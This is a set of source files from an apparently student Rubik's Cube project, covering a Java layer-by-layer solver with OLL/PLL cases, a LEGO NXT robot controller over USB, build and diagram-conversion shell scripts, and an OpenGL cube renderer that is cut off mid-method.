boolean estUnCasSimple = false;
if(position.obtenirZ()==1)
{
if(position.obtenirX()==1 && position.obtenirY()==3)
{
algoCorner1 = new Algorithme("B U Bp");
}
else if(position.obtenirX()==1 && position.obtenirY()==1)
{
algoCorner1 = new Algorithme("L U Lp U");
}
else if(position.obtenirX()==3 && position.obtenirY()==1)
{
algoCorner1 = new Algorithme("Lp Up L");
}
else
{
if(cube.obtenirOrientationDUnePositionCouleur(new Position(3,3,1),COULEUR_D) == Orientation.D)
estUnCasSimple = true;
else
algoCorner1 = new Algorithme("R U Rp Up");
}
}
else if(position.obtenirZ()==3)
{
if(position.obtenirX()==1 && position.obtenirY()==3)
{
algoCorner1 = new Algorithme("U");
}
else if(position.obtenirX()==3 && position.obtenirY()==1)
{
algoCorner1 = new Algorithme("Up");
}
else if(position.obtenirX()==1 && position.obtenirY()==1)
{
algoCorner1 = new Algorithme("U U");
}
}
if(estUnCasSimple == false)
{
this.solution.concatenerAlgorithmes(algoCorner1);
if(algoCorner1!=null)
algoCorner1.executerSurCube(this.cube);
/* Le corner est maintenant placé à la position 3,3,3 */
Orientation orientationCorner = cube.obtenirOrientationDUnePositionCouleur(new Position(3,3,3),COULEUR_D);
if(orientationCorner == Orientation.F)
{
algoCorner2= new Algorithme("Fp Up F");
}
else if(orientationCorner == Orientation.U)
{
algoCorner2= new Algorithme("R Up Rp U Fp U F");
}
else
{
algoCorner2= new Algorithme("Up Fp U F");
}
this.solution.concatenerAlgorithmes(algoCorner2);
algoCorner2.executerSurCube(this.cube);
}
}
/**
* Repère les edges pour compléter la deuxième couronne
*@return la Position où se trouve l'edge de deuxième couronne à placer
*/
private Position repererBelge()throws CubeException
{
return cube.obtenirPosition(cube.obtenirCouleurDUnePositionOrientation(new Position(3,2,2),Orientation.F),cube.obtenirCouleurDUnePositionOrientation(new Position(2,3,2),Orientation.R),Couleur.AUCUNE);
}
/**
* Sort un edge présent dans la deuxième couronne mais mal placé, en le plaçant sur la face U
*@param laPosition à laquelle se trouve l'edge "bloqué"
*/
private void debloquerBelge(Position laPosition) throws CubeException
{
Algorithme debloc=null;
if(laPosition.equals(new Position(2,1,3)))
debloc=new Algorithme("Up");
else if(laPosition.equals(new Position(2,3,3)))
debloc=new Algorithme("U");
else if(laPosition.equals(new Position(1,2,3)))
debloc=new Algorithme("U U");
else if(laPosition.equals(new Position(1,3,2)))
debloc=new Algorithme("Rp Up R U B U Bp");
else if(laPosition.equals(new Position(1,1,2)))
debloc=new Algorithme("L U Lp Up Bp Up B");
else if(laPosition.equals(new Position(3,1,2)))
debloc=new Algorithme("Lp Up L U F U Fp U U");
else if(laPosition.equals(new Position(3,3,2))&&!cube.obtenirCouleurDUnePositionOrientation(new Position(3,2,2),Orientation.F).equals (cube.obtenirCouleurDUnePositionOrientation(new Position(3,3,2),Orientation.F)))
debloc=new Algorithme("R U Rp Up Fp Up F U U");
if(debloc!=null)
{
this.solution.concatenerAlgorithmes(debloc);
debloc.executerSurCube(cube);
}
}
/**
* Place un edge qui appartient à la deuxième couronne à partir de sa position
*@param laPosition La Position du Cubie avant placement
*/
private void placerBelge(Position laPosition)throws CubeException
{
Algorithme lAlgo=null;
debloquerBelge(laPosition);
if(!repererBelge().equals(new Position(3,3,2)))
if(cube.obtenirCouleurDUnePositionOrientation(new Position(3,2,2),Orientation.F).equals(cube.obtenirCouleurDUnePositionOrientation(new Position(3,2,3),Orientation.F)))
lAlgo=new Algorithme("U R Up Rp Up Fp U F");
else
lAlgo=new Algorithme("U U Fp U F U R Up Rp");
if(lAlgo!=null)
{
this.solution.concatenerAlgorithmes(lAlgo);
lAlgo.executerSurCube(cube);
}
}
/**
* Repère le type d'oriention (forme caractéristique) de la troisième couronne
*@return le TypeOrientation auquel on fait face
*/
private TypeOrientation repererTypeOrientation() throws PositionNonValideException
{
// teste si genre croix
if( (cube.obtenirCouleurDUnePositionOrientation(new Position (3,2,3), Orientation.U) == COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (2,3,3), Orientation.U) == COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,2,3), Orientation.U) == COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (2,1,3), Orientation.U) == COULEUR_U) )
{
// teste si RESOLUE
if((cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.U) == COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.U) == COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,3,3), Orientation.U) == COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,1,3), Orientation.U) == COULEUR_U) )
return TypeOrientation.RESOLUE;
else
// teste si CROIX
if( (cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,3,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,1,3), Orientation.U) != COULEUR_U) )
return TypeOrientation.CROIX;
else
// teste si POISSON
if( ((cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.U) == COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,3,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,1,3), Orientation.U) != COULEUR_U)) ||
((cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.U) == COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,3,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,1,3), Orientation.U) != COULEUR_U)) ||
((cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,3,3), Orientation.U) == COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,1,3), Orientation.U) != COULEUR_U)) ||
((cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,3,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,1,3), Orientation.U) == COULEUR_U))
)
return TypeOrientation.POISSON;
else
return TypeOrientation.MARTEAU_DOUBLEPOISSON;
}
else
// teste si POINT
if( (cube.obtenirCouleurDUnePositionOrientation(new Position (3,2,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (2,3,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,2,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (2,1,3), Orientation.U) != COULEUR_U) )
{
return TypeOrientation.POINT;
}
else
// teste si BARRE
if( ((cube.obtenirCouleurDUnePositionOrientation(new Position (3,2,3), Orientation.U) == COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,2,3), Orientation.U) == COULEUR_U)) || ((cube.obtenirCouleurDUnePositionOrientation(new Position (3,2,3), Orientation.U) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (1,2,3), Orientation.U) != COULEUR_U)) )
{
return TypeOrientation.BARRE;
}
else
return TypeOrientation.HORLOGE;
}
/**
* Résout le cas d'orientation dans lequel on se trouve
*@param _orientation L'orientation à effectuer
*/
private void resoudreOrientation(TypeOrientation _orientation) throws PositionNonValideException
{
Algorithme algoOrientation=null;
Algorithme setupOrientation=null;
switch(_orientation)
{
case POINT:
{
//algoOrientation=new Algorithme("F R U Rp Up Fp f R U Rp Up fp");
algoOrientation=baseAlgo.obtenirOLL(2);
}
break;
case BARRE:
{
if(cube.obtenirCouleurDUnePositionOrientation(new Position (3,2,3), Orientation.U) == COULEUR_U)
{
//algoOrientation=new Algorithme("U F R U Rp Up Fp");
algoOrientation=new Algorithme("U");
algoOrientation.concatenerAlgorithmes(baseAlgo.obtenirOLL(21));
}
else
algoOrientation=baseAlgo.obtenirOLL(21);
}
break;
case HORLOGE:
{
if( (cube.obtenirCouleurDUnePositionOrientation(new Position (3,2,3), Orientation.U) == COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (2,1,3), Orientation.U) == COULEUR_U) )
{
//algoOrientation=new Algorithme("Up f R U Rp Up fp");
algoOrientation=new Algorithme("Up");
algoOrientation.concatenerAlgorithmes(baseAlgo.obtenirOLL(43));
}
else if( (cube.obtenirCouleurDUnePositionOrientation(new Position (3,2,3), Orientation.U) == COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (2,3,3), Orientation.U) == COULEUR_U) )
{
//algoOrientation=new Algorithme("f R U Rp Up fp");
algoOrientation=baseAlgo.obtenirOLL(43);
}
else if( (cube.obtenirCouleurDUnePositionOrientation(new Position (1,2,3), Orientation.U) == COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (2,3,3), Orientation.U) == COULEUR_U) )
{
//algoOrientation=new Algorithme("U f R U Rp Up fp");
algoOrientation=new Algorithme("U");
algoOrientation.concatenerAlgorithmes(baseAlgo.obtenirOLL(43));
}
else
{
//algoOrientation=new Algorithme("U U f R U Rp Up fp");
algoOrientation=new Algorithme("U U");
algoOrientation.concatenerAlgorithmes(baseAlgo.obtenirOLL(43));
}
}
break;
case CROIX:
{
while( !(cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.F) != COULEUR_U) && (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.F) != COULEUR_U) )
{
if(setupOrientation == null)
setupOrientation=new Algorithme("U");
else
setupOrientation.concatenerAlgorithmes(new Algorithme("U"));
this.solution.concatenerAlgorithmes(setupOrientation);
setupOrientation.executerSurCube(this.cube);
}
//algoOrientation=new Algorithme("R U Rp U R U U Rp");
algoOrientation=baseAlgo.obtenirOLL(56);
}
break;
case MARTEAU_DOUBLEPOISSON:
{
while( cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.F) != COULEUR_U )
{
if(setupOrientation == null)
setupOrientation=new Algorithme("U");
else
setupOrientation.concatenerAlgorithmes(new Algorithme("U"));
this.solution.concatenerAlgorithmes(setupOrientation);
setupOrientation.executerSurCube(this.cube);
}
//algoOrientation=new Algorithme("R U Rp U R U U Rp");
algoOrientation=baseAlgo.obtenirOLL(56);
}
break;
case POISSON:
{
while( cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.U) != COULEUR_U )
{
if(setupOrientation == null)
setupOrientation=new Algorithme("U");
else
setupOrientation.concatenerAlgorithmes(new Algorithme("U"));
this.solution.concatenerAlgorithmes(setupOrientation);
setupOrientation.executerSurCube(this.cube);
}
if( cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.F) == COULEUR_U )
{
//algoOrientation=new Algorithme("Lp Up L Up Lp U U L");
algoOrientation=baseAlgo.obtenirOLL(55);
}
else
{
//algoOrientation=new Algorithme("U R U Rp U R U U Rp");
algoOrientation=new Algorithme("U");
algoOrientation.concatenerAlgorithmes(baseAlgo.obtenirOLL(56));
}
}
break;
default :
algoOrientation=null;
break;
}
this.solution.concatenerAlgorithmes(algoOrientation);
algoOrientation.executerSurCube(this.cube);
}
/**
* Repère le type de permutation (forme caractéristique) de la troisième couronne
*@return le type de permutation auquel on fait face
*/
private TypePermutation repererTypePermutation() throws PositionNonValideException
{
if( (cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.F) == (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.F))) && (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.R) == (cube.obtenirCouleurDUnePositionOrientation(new Position (1,3,3), Orientation.R))) )
if( (cube.obtenirCouleurDUnePositionOrientation(new Position (3,2,3), Orientation.F) == (cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.F))) &&
(cube.obtenirCouleurDUnePositionOrientation(new Position (2,3,3), Orientation.R) == (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.R))) )
return TypePermutation.RESOLUE;
else
return TypePermutation.EDGES;
else
return TypePermutation.CORNERS;
}
/**
* Résout le cas de permutation dans lequel on se trouve
*@param _permutation La permutation à effectuer
*/
private void resoudrePermutation(TypePermutation _permutation) throws PositionNonValideException
{
Algorithme algoPermutation=null;
switch(_permutation)
{
case EDGES:
/* On est dans les cas où les corners sont tous bien permutés, seulement des edges à permuter */
{
/* Teste si 3-cycle sens anti-trigo càd algo PLL 1 */
if( (cube.obtenirCouleurDUnePositionOrientation(new Position (3,2,3), Orientation.F) != cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.F)) &&
(cube.obtenirCouleurDUnePositionOrientation(new Position (2,3,3), Orientation.R) != cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.R)) &&
(cube.obtenirCouleurDUnePositionOrientation(new Position (1,2,3), Orientation.B) != cube.obtenirCouleurDUnePositionOrientation(new Position (1,3,3), Orientation.B)) &&
(cube.obtenirCouleurDUnePositionOrientation(new Position (2,1,3), Orientation.L) != cube.obtenirCouleurDUnePositionOrientation(new Position (1,1,3), Orientation.L)) )
{
//algoPermutation=new Algorithme("R R U R U Rp Up Rp Up Rp U Rp");
algoPermutation=baseAlgo.obtenirPLL(1);
}
else
/* Si côté plein en F */
if (cube.obtenirCouleurDUnePositionOrientation(new Position (3,2,3), Orientation.F) == cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.F))
{
algoPermutation=new Algorithme("U U");
/* Si PLL 1*/
if((cube.obtenirCouleurDUnePositionOrientation(new Position (1,2,3), Orientation.B) == cube.obtenirCouleurDUnePositionOrientation(new Position (1,3,3), Orientation.R)))
{
//algoPermutation=new Algorithme("U U R R U R U Rp Up Rp Up Rp U Rp");
algoPermutation.concatenerAlgorithmes(baseAlgo.obtenirPLL(1));
}
/* Sinon PLL 2 */
else
{
//algoPermutation=new Algorithme("U U R Up R U R U R Up Rp Up R R");
algoPermutation.concatenerAlgorithmes(baseAlgo.obtenirPLL(2));
}
}
/* Sinon si côté plein en L */
else if(cube.obtenirCouleurDUnePositionOrientation(new Position (2,1,3), Orientation.L) == cube.obtenirCouleurDUnePositionOrientation(new Position (1,1,3), Orientation.L))
{
algoPermutation=new Algorithme("U");
/* Si PLL 1 */
if((cube.obtenirCouleurDUnePositionOrientation(new Position (2,3,3), Orientation.R) == cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.F)))
{
//algoPermutation=new Algorithme("U R R U R U Rp Up Rp Up Rp U Rp");
algoPermutation.concatenerAlgorithmes(baseAlgo.obtenirPLL(1));
}
/* Sinon PLL 2 */
else
{
//algoPermutation=new Algorithme("U R Up R U R U R Up Rp Up R R");
algoPermutation.concatenerAlgorithmes(baseAlgo.obtenirPLL(2));
}
}
/* Sinon si côté plein en B */
else if(cube.obtenirCouleurDUnePositionOrientation(new Position (1,2,3), Orientation.B) == cube.obtenirCouleurDUnePositionOrientation(new Position (1,3,3), Orientation.B))
{
/* Si PLL 1*/
if((cube.obtenirCouleurDUnePositionOrientation(new Position (3,2,3), Orientation.F) == cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.L)))
{
//algoPermutation=new Algorithme("R R U R U Rp Up Rp Up Rp U Rp");
algoPermutation=baseAlgo.obtenirPLL(1);
}
/* Sinon PLL 2*/
else
{
//algoPermutation=new Algorithme("R Up R U R U R Up Rp Up R R");
algoPermutation=baseAlgo.obtenirPLL(2);
}
}
/* Sinon il ne reste que côté plein en R possible ou alors il y avait 4 edges mal permutés */
else
{
algoPermutation=new Algorithme("Up");
/* Si PLL 1 */
if((cube.obtenirCouleurDUnePositionOrientation(new Position (2,1,3), Orientation.L) == cube.obtenirCouleurDUnePositionOrientation(new Position (1,1,3), Orientation.B)))
{
//algoPermutation=new Algorithme("Up R R U R U Rp Up Rp Up Rp U Rp");
algoPermutation.concatenerAlgorithmes(baseAlgo.obtenirPLL(1));
}
/* Sinon PLL 2*/
else
{
//algoPermutation=new Algorithme("Up R Up R U R U R Up Rp Up R R");
algoPermutation.concatenerAlgorithmes(baseAlgo.obtenirPLL(2));
}
}
}
break;
case CORNERS:
{
/* Si 2 corners à permuter en diagonale càd PLL 12 */
if( (cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.F) != (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.F)))
&& (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.R) != (cube.obtenirCouleurDUnePositionOrientation(new Position (1,3,3), Orientation.R)))
&& (cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.L) != (cube.obtenirCouleurDUnePositionOrientation(new Position (1,1,3), Orientation.L)))
&& (cube.obtenirCouleurDUnePositionOrientation(new Position (1,1,3), Orientation.B) != (cube.obtenirCouleurDUnePositionOrientation(new Position (1,3,3), Orientation.B))) )
algoPermutation=baseAlgo.obtenirPLL(12);
/* Sinon c'est qu'il y a 2 corners adjacents à permuter */
else
{
/* Si les 2 corners bien placés sont en F */
if (cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.F) == (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.F)))
{
//algoPermutation=new Algorithme("Up F F R U Rp F F L Dp L D L L");
algoPermutation=new Algorithme("Up");
algoPermutation.concatenerAlgorithmes(baseAlgo.obtenirPLL(8));
}
/* Sinon si les 2 corners bien placés sont en R */
else if (cube.obtenirCouleurDUnePositionOrientation(new Position (3,3,3), Orientation.R) == (cube.obtenirCouleurDUnePositionOrientation(new Position (1,3,3), Orientation.R)))
{
algoPermutation=baseAlgo.obtenirPLL(8);
}
/* Sinon si les 2 corners bien placés sont en L */
else if(cube.obtenirCouleurDUnePositionOrientation(new Position (3,1,3), Orientation.L) == (cube.obtenirCouleurDUnePositionOrientation(new Position (1,1,3), Orientation.L)))
{
algoPermutation=baseAlgo.obtenirPLL(7);
}
/* Sinon les 2 corners bien placés sont forcément en B */
else
{
algoPermutation=new Algorithme("U");
algoPermutation.concatenerAlgorithmes(baseAlgo.obtenirPLL(8));
}
}
}
break;
}
this.solution.concatenerAlgorithmes(algoPermutation);
algoPermutation.executerSurCube(this.cube);
}
}
<file_sep>package cube;
/**
* Enuméré qui contient les différents types de cubies possibles qui composent un Rubiks Cube.
* @author Groupe ECAO Rubik's Cube: <NAME> <NAME>.
*/
public enum Orientation
{
R,
U,
L,
D,
B,
F,
};
<file_sep>/**
*classe qui gère les mouvements du robot
*@author Groupe ECAO Rubik's Cube : <NAME> Mathieu_Chataigner <NAME>.
*/
package cube.robot;
import cube.*;
import lejos.nxt.*; // this is required for all programs that run on the NXT
import java.io.DataInputStream;
import java.io.DataOutputStream;
import lejos.nxt.comm.USB;
import lejos.nxt.comm.USBConnection;
public class RobotRubik {
private Motor moteurSocle;
private Motor moteurPince;
private boolean pinceModeBloqueurEnHaut;
private boolean pinceModePoussoirEnHaut;
private DataOutputStream dOut;
private DataInputStream dIn;
private EcranNXT ecran;
private RobotRecepteur recepteur;
/**
* Constructeur qui initialise le robot et ses moteurs
*@param moteurSocle le moteur socle (base) du robot
*@param moteurPince le moteur pince du robot
*/
public RobotRubik(Motor moteurSocle, Motor moteurPince) {
this.moteurSocle=moteurSocle;
this.moteurPince=moteurPince;
pinceModeBloqueurEnHaut=false;
pinceModePoussoirEnHaut=false;
moteurPince.setPower(10);
moteurPince.setSpeed(300);
//demarre l'ecran
ecran = new EcranNXT(this);
ecran.start();
//attend une connection USB
USBConnection conn = USB.waitForConnection();
ecran.USBOK();
//ouvre les flux d'entree sortie
dOut = conn.openDataOutputStream();
dIn = conn.openDataInputStream();
//lance le recepteur USB du nxt
recepteur = new RobotRecepteur(dIn,dOut, this);
recepteur.start();
}
/**
* Permet de récupérer l'ecran du NXT
*@return EcranNXT
*/
public EcranNXT getEcran(){
return ecran;
}
/**
* Gère le mouvement qui bascule le cube
*/
// Methodes mouvements elementaires
public void leverPincePoussoir() {
if (!pinceModeBloqueurEnHaut || !pinceModePoussoirEnHaut) {
moteurPince.setSpeed(250);
moteurPince.setPower(70);
moteurPince.rotate(48);
moteurPince.setPower(100);
moteurPince.setSpeed(100);
moteurPince.rotate(35);
pinceModePoussoirEnHaut=true;
}
}
/**
* Gère le mouvement de la pince pour revenir à l'etat initiale après avoir basculé le cube
*/
public void descendrePincePoussoir() {
if (pinceModePoussoirEnHaut && !pinceModeBloqueurEnHaut) {
moteurPince.setSpeed(50);
moteurPince.rotate(-82);
pinceModePoussoirEnHaut=false;
moteurPince.setSpeed(300);
}
}
/**
* Gère le mouvement de la pince afin de bloquer le cube
*/
public void leverPinceBloqueur() {
if (!pinceModeBloqueurEnHaut || !pinceModePoussoirEnHaut) {
moteurPince.setSpeed(70);
moteurPince.rotate(55);
pinceModeBloqueurEnHaut=true;
moteurPince.lock(100);
}
}
/**
* Gère le mouvement de la pince pour revenir à l'etat initiale après avoir bloqué le cube
*/
public void descendrePinceBloqueur() {
if (!pinceModePoussoirEnHaut && pinceModeBloqueurEnHaut) {
moteurPince.rotate(-54);
pinceModeBloqueurEnHaut=false;
}
}
// methodes mouvements composites
/**
* Gère le mouvement des robots pour faire le mouvement A
*/
public void faireA() {
// LCD.drawString("A",0,4);
leverPincePoussoir();
descendrePincePoussoir();
//leverPinceBloqueur();
//descendrePinceBloqueur();
}
/**
* Gère le mouvement des robots pour faire le mouvement A une ou plusieurs fois
*@param nombre entier indiquant le nombre de fois que le mouvement doit être effectué
*/
public void faireA(int nombre){
for(int i=1;i<=nombre%4;i++){
faireA();
}
}
/**
* Gère le mouvement des robots pour faire le mouvement B
*@param sensHoraire entier indiquant le nombre de fois que le mouvement doit être effectué
*/
public void faireB(int sensHoraire) {
// LCD.drawString("B",0,4);
int nbDegres=0;
//nbDegres=nbDegres + (sensHoraire-1)*210;
switch(sensHoraire){
case 1 : nbDegres=630;
moteurSocle.setSpeed(700);
//LCD.drawString(" ",1,4);
break;
case 2 : nbDegres=630*2;
moteurSocle.setSpeed(700);
//LCD.drawString("2",1,4);
break;
case 3 : nbDegres=630*3;
moteurSocle.setSpeed(700);
//LCD.drawString("'",1,4);
break;
}
moteurSocle.setPower(100);
moteurSocle.rotate(nbDegres);
}
/**
* Gère le mouvement des robots pour faire le mouvement C
*@param sensHoraire entier indiquant le nombre de fois que le mouvement doit être effectué
*/
public void faireC(int sensHoraire) {
// LCD.drawString("C",0,4);
int ajustage=0;
leverPinceBloqueur();
faireB(sensHoraire);
switch(sensHoraire){
case 1 : ajustage=125;
moteurSocle.setSpeed(700);
break;
case 2 : ajustage=125;
moteurSocle.setSpeed(800);
break;
case 3 : ajustage=125;
moteurSocle.setSpeed(700);
break;
}
moteurSocle.rotate(ajustage);
moteurSocle.rotate(-1*ajustage);
descendrePinceBloqueur();
}
/**
* Ferme le flux
*/
public void fermerFlux(){
try{
dOut.close();
dIn.close();
}
catch(Throwable e){}
}
/**
* Clos la connection
*/
public void quitter()throws Throwable{
this.fermerFlux();
//System.exit(0);
}
public static void main(String[] args) throws Throwable {
int i=0;
RobotRubik r=new RobotRubik(Motor.A,Motor.B);
//LCD.drawString("ca marche presque", 0, 0);
/*for(i=0;i<5;i++){
r.faireA();
r.faireB(1);
r.faireC(1);
r.faireA();
r.faireB(2);
r.faireC(2);
r.faireA();
r.faireB(3);
r.faireC(3);
//56 dents
}*/
//Button.ESCAPE.waitForPressAndRelease();
//r.quitter();
}
}
<file_sep>package cube.recepteur;
import lejos.nxt.*;
import java.io.IOException;
import java.io.DataInputStream;
import cube.*;
/**
* Describe class <code>RobotRecepteur</code> here.
*
* @author <a href="mailto:<EMAIL>"><NAME></a>
* @version 1.0
*/
public class RobotRecepteur extends Thread
{
private DataInputStream din;
private RobotRubik alphonse;
private boolean quitter=false;
/**
* Creates a new <code>RobotRecepteur</code> instance.
*
* @param _din a <code>DataInputStream</code> value
* @param _alphonse a <code>RobotRubik</code> value
*/
public RobotRecepteur(DataInputStream _din,RobotRubik _alphonse){
this.din=_din;
this.alphonse=_alphonse;
}
/**
* Describe <code>run</code> method here.
*
*/
public void run(){
int rotation,indice;
while(!quitter){
try{
rotation=din.readInt();
indice=din.readInt();
effectuerRotation(rotation,indice);
}
catch(Throwable e){
}
}
}
/**
* Describe <code>quitter</code> method here.
*
*/
public void quitter(){
this.quitter=true;
}
private void effectuerRotation(int rotation,int indice) throws Throwable{
switch(rotation){
case 1: alphonse.faireA();
break;
case 2: alphonse.faireB(indice);
break;
case 3: alphonse.faireC(indice);
break;
case 4: this.quitter();
alphonse.quitter();
break;
default: throw new Throwable("Reception error !");
}
}
}
<file_sep>#!/bin/bash
#java -classpath $CLASSPATH:./classes Classmain$1
if [[ $(uname -m| grep 64) ]];then
arch=amd64;
else
arch=i586;
fi
export NXJ_HOME=$(pwd)/lib/lejos_nxj
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/classes.jar
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/jtools.jar
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/pccomm.jar
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/pctools.jar
export CLASSPATH=$CLASSPATH:$(pwd)/lib/jogl-1.1.1-linux-$arch/lib/jogl.jar
export CLASSPATH=$CLASSPATH:$(pwd)/lib/jogl-1.1.1-linux-$arch/lib/gluegen-rt.jar
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$NXJ_HOME/bin/:$(pwd)/lib/jogl-1.1.1-linux-$arch/lib
export PATH=$PATH:$NXJ_HOME/bin
#bash nxjexec
#sleep 2
java -Djava.library.path="$LD_LIBRARY_PATH" -classpath $CLASSPATH:./classes Classmain$2 "$1"
<file_sep>/**
* Classe qui supervise toutes les exceptions qui peuvent survenir dans lors de la resolution d'un Rubiks Cube.
*
* CubeException herite de java.lang.Exception;
*
* @author Groupe ECAO Rubik's Cube: <NAME> <NAME>.
* @see java.lang.Exception
*/
package cube;
public class CubeException extends java.lang.Exception
{
/**
* Construit une exception CubeException
*/
public CubeException()
{
super();
}
/**
* Construit une exception CubeException avec message
*@param msg Le message à transmettre
*/
public CubeException(String msg)
{
super(msg);
}
}
<file_sep>#!/bin/bash
cd images
for i in `ls *dia`;do dia -t eps $i;done
for i in `ls *eps`;do epstopdf $i;done
cd ..
<file_sep>
package glcube;
import javax.media.opengl.GL;
import javax.media.opengl.glu.GLU;
import javax.media.opengl.GLEventListener;
import javax.media.opengl.GLCanvas;
import javax.media.opengl.GLAutoDrawable;
import com.sun.opengl.util.Animator;
import javax.swing.JFrame;
import java.awt.event.*;
import java.util.ArrayList;
import cube.Cube;
import cube.Face;
import cube.Couleur;
import cube.MouvementElementaire;
public class GLCube implements GLEventListener, MouseMotionListener, MouseListener {
private static GLU glu = new GLU();
private static GLCanvas canvas = new GLCanvas();
private static Animator animator = new Animator(canvas);
private static JFrame frame = new JFrame("CubeGL");
private float cameraPhi = -30f;
private float cameraTheta = 30f;
private int oldX = 0, oldY = 0;
private boolean cameraMoving = false;
private static boolean cubeMoving = false;
private float step = 0.25f;
private float stepFactor = 90;
private static float rotate = 0.0f;
private float cubieSize = 0.95f;
private static Cube cube;
private static MouvementElementaire mvt = MouvementElementaire.F;
private long oldNanos = 0, currentNanos;
private int n = 10;
private double fps;
private void setColor(GL gl, Couleur c) {
float r, g, b;
switch (c) {
case BLANC:
r = 1.0f;
g = 1.0f;
b = 255;
break;
case ORANGE:
r = 1.0f;
g = 0.4f;
b = 0;
break;
case BLEU:
r = 0;
g = 0;
b = 1.0f;
break;
case ROUGE:
r = 1.0f;
g = 0;
b = 0;
break;
case VERT:
r = 0;
g = 0.8f;
b = 0;
break;
case JAUNE:
r = 1.0f;
g = 1.0f;
b = 0;
break;
default:
r = 0;
g = 0;
b = 0;
break;
}
gl.glColor3f(r, g, b);
}
private void drawCuboid(GL gl, float width, float height, float depth, Couleur cFront, Couleur cBack, Couleur cUp, Couleur cDown, Couleur cRight, Couleur cLeft) {
gl.glPushMatrix();
gl.glTranslatef((1 - width) / 2, (1 - height) / 2, (1 - depth) / 2);
gl.glBegin(GL.GL_QUADS);
// Front
setColor(gl, cFront);
gl.glVertex3f(0.0f, height, depth);
gl.glVertex3f(width, height, depth);
gl.glVertex3f(width, 0.0f, depth);
gl.glVertex3f(0.0f, 0.0f, depth);
// Back
setColor(gl, cBack);
gl.glVertex3f(width, height, 0.0f);
gl.glVertex3f(0.0f, height, 0.0f);
gl.glVertex3f(0.0f, 0.0f, 0.0f);
gl.glVertex3f(width, 0.0f, 0.0f);
// Up
setColor(gl, cUp);
gl.glVertex3f(0.0f, height, 0.0f);
gl.glVertex3f(width, height, 0.0f);
gl.glVertex3f(width, height, depth);
gl.glVertex3f(0.0f, height, depth);
// Down
setColor(gl, cDown);
gl.glVertex3f(0.0f, 0.0f, depth);
gl.glVertex3f(width, 0.0f, depth);
gl.glVertex3f(width, 0.0f, 0.0f);
gl.glVertex3f(0.0f, 0.0f, 0.0f);
// Right
setColor(gl, cRight);
gl.glVertex3f(width, height, depth);
